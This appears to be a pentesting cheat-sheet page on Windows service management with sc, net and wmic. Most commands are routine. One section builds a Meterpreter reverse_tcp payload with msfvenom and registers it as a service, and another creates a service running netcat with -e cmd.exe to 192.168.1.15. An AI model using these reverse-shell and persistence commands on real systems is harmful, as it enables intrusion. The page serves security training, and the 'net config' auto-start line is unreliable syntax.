> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/essential-commands/service-managment.md).

# Service Managment

### `sc` – Service Control

Manages services on a local or remote machine.

**Syntax:**

```cmd
sc <command> <service_name> [options]
```

***

#### **Query and Inspect Services**

* Show all services (running & stopped):

  ```cmd
  sc query type= service state= all
  ```
* Filter output to show service names:

  ```cmd
  sc query type= service state= all | find "DISPLAY_NAME"
  ```
* Show only running services:

  ```cmd
  sc query type= service state= all | find "RUNNING"
  ```
* Query a specific service (example: Telnet):

  ```cmd
  sc query TlntSvr
  ```
* Show configuration of a specific service:

  ```cmd
  sc qc TlntSvr
  ```
* Get actual service name from display name:

  ```cmd
  sc getkeyname "Credential Manager"
  ```

***

#### **Start/Stop/Manage Service State**

* Start a service:

  ```cmd
  sc start TlntSvr
  ```
* Stop a service:

  ```cmd
  sc stop TlntSvr
  ```
* Pause a service:

  ```cmd
  sc pause TlntSvr
  ```
* Resume a paused service:

  ```cmd
  sc continue TlntSvr
  ```

***

#### **Create/Configure Services**

* Create a service for a reverse shell:

  ```bash
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.15 LPORT=443 -f exe -o rshell.exe
  ```
* Create a service pointing to the reverse shell binary:

  ```cmd
  sc create rshell binPath= "C:\exe\rshell.exe"
  ```
* Start the reverse shell service:

  ```cmd
  sc start rshell
  ```
* Show details of the reverse shell service:

  ```cmd
  sc query rshell
  sc qc rshell
  ```

***

#### **Create Netcat-Based Reverse Shell Service**

* Create a service using Netcat:

  ```cmd
  sc create nc binPath= "C:\Users\Administrator\Downloads\nc64.exe -e cmd.exe 192.168.1.15 8080"
  ```
* Modify the Netcat service:

  ```cmd
  sc config nc binPath= "C:\Users\Administrator\Downloads\nc64.exe -e cmd.exe 192.168.1.15 8080"
  ```
* Start the Netcat service:

  ```cmd
  sc start nc
  ```

***

### `net` – Basic Service Control

Used for simple control of services via display name.

**Syntax:**

```cmd
net <command> "<Service Display Name>"
```

**Examples:**

* Start a service:

  ```cmd
  net start "Telnet"
  ```
* Stop a service:

  ```cmd
  net stop "Telnet"
  ```
* Pause a service:

  ```cmd
  net pause "Telnet"
  ```
* Resume a service:

  ```cmd
  net continue "Telnet"
  ```
* Configure a service to auto-start:

  ```cmd
  net config rshell start=auto
  ```

***

### `wmic` – Service Query via WMI

Provides WMI interface for querying service information.

**Syntax:**

```cmd
wmic service [where <condition>] get <property list>
```

**Examples:**

* Show all services with their name, display name, and startup mode:

  ```cmd
  wmic service get name, displayname, startmode
  ```
* Show only automatically starting services:

  ```cmd
  wmic service where startmode="Auto" get name, displayname, state, startmode
  ```
